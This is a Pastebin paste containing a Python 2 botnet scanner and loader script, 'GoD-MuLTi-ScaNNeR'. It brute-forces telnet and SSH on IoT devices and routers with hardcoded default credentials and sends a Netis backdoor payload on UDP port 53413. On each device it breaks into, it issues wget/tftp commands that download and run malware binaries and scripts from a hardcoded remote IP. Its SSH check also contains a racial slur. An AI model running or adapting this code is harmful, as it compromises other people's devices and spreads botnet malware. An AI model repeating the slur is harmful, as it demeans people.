Advertisement
Guest User

Untitled

a guest
Dec 12th, 2016
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.59 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. """ 
  4.  
  5. GoD-MuLTi-ScaNNeR(NeTiS/TeLNeT/SSH) 
  6.  
  7. By; Prexicity
  8.  
  9. """
  10.  
  11. import threading, sys, time, random, socket, re, os, paramiko
  12.  
  13. from Queue import *
  14.  
  15. from sys import stdout
  16.  
  17.  
  18. if len(sys.argv) < 4:
  19.  
  20. print "GoD-MuLTi-ScaNNeR\n    By: LiGhT"
  21.  
  22. print "Usage: python "+sys.argv[0]+" <threads(1-100)> <ips per scan(100-1000)> <list>"
  23.  
  24. sys.exit()
  25.  
  26.  
  27. # USER AND PASS LISTS #
  28.  
  29. usernames = ["root", "admin", "root", "root"] #DONT CHANGE
  30.  
  31. passwords = ["oelinux123", "admin", "Zte521", "vizxv"] #DONT CHANGE
  32.  
  33. ssh_passwords = ["admin:1234", "root:1234"] #CAN CHANGE
  34.  
  35. loginpayload = "AAAAAAAAnetcore\x00" #DONT CHANGE
  36.  
  37.  
  38.  
  39. # START CONFIGURATION #
  40.  
  41. url = "http://103.194.169.245/tftp" # ARM4 Binary
  42.  
  43. sh_file = "http://103.194.169.245/bins.sh" # SH File
  44.  
  45. commandpayload = "AA\x00\x00AAAA cd /var/; rm -rf sshd; wget http://103.194.169.245/sshd || tftp -r sshd -g 103.194.169.245; chmod 777 sshd; ./sshd; rm -rf sshd\x00" # MIPSEL Binary
  46.  
  47.  
  48. # DONT TOUCH
  49.  
  50. spawn_shell = "cat | sh"
  51.  
  52. paramiko.util.log_to_file("/dev/null") #quiets paramiko output
  53.  
  54. threads = int(sys.argv[1])
  55.  
  56. h0h0 = int(sys.argv[2])
  57.  
  58. ips = open(sys.argv[3], "r").readlines()
  59.  
  60. queue = Queue()
  61.  
  62. qcount = 0
  63.  
  64. binary = url.split("/")
  65.  
  66. binary = binary[3]
  67.  
  68. ip = binary[2]
  69.  
  70.  
  71. for ip in ips:
  72.  
  73. qcount += 1
  74.  
  75. stdout.write("\r[%d] Added to queue" % qcount)
  76.  
  77. stdout.flush()
  78.  
  79. queue.put(ip)
  80.  
  81. print "\n"
  82.  
  83.  
  84. def readUntil(tn, string, timeout=10):
  85.  
  86.     buf = ''
  87.  
  88.     start_time = time.time()
  89.  
  90.     while time.time() - start_time < timeout:
  91.  
  92.         buf += tn.recv(1024)
  93.  
  94.         time.sleep(0.01)
  95.  
  96.         if string in buf: return buf
  97.  
  98.     raise Exception('TIMEOUT!')
  99.  
  100.  
  101. def worker():
  102.  
  103. try:
  104.  
  105. while True:
  106.  
  107. try:
  108.  
  109. if queue.empty() == True:
  110.  
  111. sys.exit(1)
  112.  
  113. iplist = []
  114.  
  115. h0h0h0 = h0h0 + 1
  116.  
  117. print "\033[33mGathering IPs\033[37m"%(ip.rstrip("\n"))
  118.  
  119. for x in xrange(h0h0h0):
  120.  
  121. ip = queue.get()
  122.  
  123. iplist.append(ip)
  124.  
  125. print "\033[33mIP Address Obtained \033[32m%s\033[37m"%(ip.rstrip("\n"))
  126.  
  127. queue.task_done()
  128.  
  129. time.sleep(1.5)
  130.  
  131. print "\033[36mStarting SSH Threads\033[37m"
  132.  
  133. for ip in iplist:
  134.  
  135. ss = sssh(ip)
  136.  
  137. ss.start()
  138.  
  139. time.sleep(0.009)
  140.  
  141. time.sleep(1)
  142.  
  143. print "\033[32mStarting Telnet Threads\033[37m"
  144.  
  145. for ip in iplist:
  146.  
  147. tt = ttelnet(ip)
  148.  
  149. tt.start()
  150.  
  151. time.sleep(0.009)
  152.  
  153. time.sleep(1)
  154.  
  155. print "\033[35mStarting Netis Threads\033[37m"
  156.  
  157. for ip in iplist:
  158.  
  159. nn = nnetis(ip)
  160.  
  161. nn.start()
  162.  
  163. time.sleep(0.009)
  164.  
  165. time.sleep(1)
  166.  
  167. except:
  168.  
  169. print "\033[31mWORKER ERROR\033[37m" #will fuk up if more threads/workers then ips in list
  170.  
  171. pass
  172.  
  173. except:
  174.  
  175. pass
  176.  
  177.  
  178. class ttelnet(threading.Thread):
  179.  
  180. def __init__ (self, ip):
  181.  
  182. threading.Thread.__init__(self)
  183.  
  184. self.ip = str(ip).rstrip('\n')
  185.  
  186. def run(self):
  187.  
  188. try:
  189.  
  190. tn = socket.socket()
  191.  
  192. tn.settimeout(5)
  193.  
  194. tn.connect((self.ip,23))
  195.  
  196. time.sleep(0.2)
  197.  
  198. hoho = ''
  199.  
  200. hoho += readUntil(tn, ":")
  201.  
  202. if "mdm9625" in hoho:
  203.  
  204. notr00t = 1
  205.  
  206. username = usernames[1]
  207.  
  208. password = passwords[1]
  209.  
  210. tn.send(username + "\n")
  211.  
  212. elif "9615-cdp" in hoho:
  213.  
  214. r00t = 1
  215.  
  216. username = usernames[0]
  217.  
  218. password = passwords[0]
  219.  
  220. tn.send(username + "\n")
  221.  
  222. if "F600" in hoho:
  223.  
  224. zte = 1
  225.  
  226. username = usernames[2]
  227.  
  228. password = passwords[2]
  229.  
  230. tn.send(username + "\n")
  231.  
  232. elif "F660" in hoho:
  233.  
  234. zte = 1
  235.  
  236. username = usernames[2]
  237.  
  238. password = passwords[2]
  239.  
  240. tn.send(username + "\n")
  241.  
  242. elif "F609" in hoho:
  243.  
  244. zte = 1
  245.  
  246. username = usernames[2]
  247.  
  248. password = passwords[2]
  249.  
  250. tn.send(username + "\n")
  251.  
  252. if "(none)" in hoho:
  253.  
  254. vizxv = 1
  255.  
  256. username = usernames[3]
  257.  
  258. password = passwords[3]
  259.  
  260. tn.send(username + "\n")
  261.  
  262. if "BCM" in hoho:
  263.  
  264. BCM = 1
  265.  
  266. username = usernames[1]
  267.  
  268. password = passwords[1]
  269.  
  270. tn.send(username + "\n")
  271.  
  272. except Exception:
  273.  
  274. tn.close()
  275.  
  276. try:
  277.  
  278. hoho = ''
  279.  
  280. hoho += readUntil(tn, ":")
  281.  
  282. if "assword" in hoho:
  283.  
  284. tn.send(password + "\n")
  285.  
  286. time.sleep(3)
  287.  
  288. except Exception:
  289.  
  290. tn.close()
  291.  
  292. try:
  293.  
  294. mp = ''
  295.  
  296. mp += tn.recv(1024)
  297.  
  298. if "#" in mp or "$" in mp or "~" in mp or ">" in mp or "root@" in mp: # !DO NOT CHANGE ANYTHING! #
  299.  
  300. if r00t: tn.send("cd /tmp; wget "+url+" -O phone; chmod 777 phone; ./phone; rm -rf phone" + "\n"); print "\033[32m[PHONE] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()
  301.  
  302. if notr00t: tn.send("su" + "\n"); readUntil(tn, "Password:"); tn.send(passwords[0] + "\n"); time.sleep(1); tn.send("cd /tmp; wget "+url+" -O phone; chmod 777 phone; ./phone; rm -rf phone" + "\n"); print "\033[32m[PHONE] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()
  303.  
  304. if zte: tn.send("cd /var/; rm -rf busybox filename; wget "+url+" -O filename ; cp /bin/busybox ./; busybox cat filename > busybox;./busybox ;rm -rf busybox filename" + "\n"); print "\033[32m[ZTE] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()
  305.  
  306. if vizxv: tn.send("cd /var/ || cd /tmp/ || cd /dev/; tftp -r "+binary+" -g "+ip+"; chmod 777 "+binary+"; ./"+binary+"; rm -rf "+binary+""); print "\033[32m[VIZXV] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()
  307.  
  308. if BCM: tn.send(spawn_shell + "\n"); time.sleep(1); tn.send("cd /tmp; wget "+sh_file+" -O l.sh; sh l.sh; rm -rf /tmp/*" + "\n"); print "\033[32m[BCM] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()
  309.  
  310. except Exception:
  311.  
  312. tn.close()
  313.  
  314. pass
  315.  
  316.  
  317. class nnetis(threading.Thread):
  318.  
  319. def __init__ (self, ip):
  320.  
  321. threading.Thread.__init__(self)
  322.  
  323. self.ip = str(ip).rstrip('\n')
  324.  
  325. def run(self):
  326.  
  327. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  328.  
  329. try:
  330.  
  331. print "\033[35m[NETIS] Payload Sent %s"%(self.ip)
  332.  
  333. s.sendto(loginpayload, (self.ip, 53413))
  334.  
  335. time.sleep(1)
  336.  
  337. s.sendto(commandpayload, (self.ip, 53413))
  338.  
  339. time.sleep(1)
  340.  
  341. except Exception:
  342.  
  343. pass
  344.  
  345.  
  346. class sssh(threading.Thread):
  347.  
  348. def __init__ (self, ip):
  349.  
  350. threading.Thread.__init__(self)
  351.  
  352. self.ip = str(ip).rstrip('\n')
  353.  
  354. def run(self):
  355.  
  356. x = 1
  357.  
  358. while x != 0:
  359.  
  360. try:
  361.  
  362. username='root'
  363.  
  364. password="0"
  365.  
  366. port = 22
  367.  
  368. ssh = paramiko.SSHClient()
  369.  
  370. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  371.  
  372. dobreak=False
  373.  
  374. for passwd in ssh_passwords:
  375.  
  376. if ":n/a" in passwd:
  377.  
  378. password=""
  379.  
  380. else:
  381.  
  382. password=passwd.split(":")[1]
  383.  
  384. if "n/a:" in passwd:
  385.  
  386. username=""
  387.  
  388. else:
  389.  
  390. username=passwd.split(":")[0]
  391.  
  392. try:
  393.  
  394. ssh.connect(self.ip, port = port, username=username, password=password, timeout=5)
  395.  
  396. dobreak=True
  397.  
  398. break
  399.  
  400. except:
  401.  
  402. pass
  403.  
  404. if True == dobreak:
  405.  
  406. break
  407.  
  408. badserver=True
  409.  
  410. stdin, stdout, stderr = ssh.exec_command("echo nigger")
  411.  
  412. output = stdout.read()
  413.  
  414. if "nigger" in output:
  415.  
  416. badserver=False
  417.  
  418. if badserver == False:
  419.  
  420. print "\033[36m[SSH] Command Sent %s!\033[37m"%(self.ip)
  421.  
  422. ssh.exec_command("cd /tmp || cd /var/run || cd /dev; wget "+sh_file+" -O l.sh; sh l.sh; rm -rf /tmp/*")
  423.  
  424. time.sleep(3)
  425.  
  426. ssh.close()
  427.  
  428. x = 0
  429.  
  430. if badserver == True:
  431.  
  432. ssh.close()
  433.  
  434. except:
  435.  
  436. pass
  437.  
  438. x = 0
  439.  
  440.  
  441. for g in xrange(threads):
  442.  
  443. t = threading.Thread(target=worker)
  444.  
  445. t.setDaemon(True)
  446.  
  447. t.start()
  448.  
  449. time.sleep(0.001)
  450.  
  451.  
  452.  
  453. queue.join()
  454.  
  455. print "Finished!"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement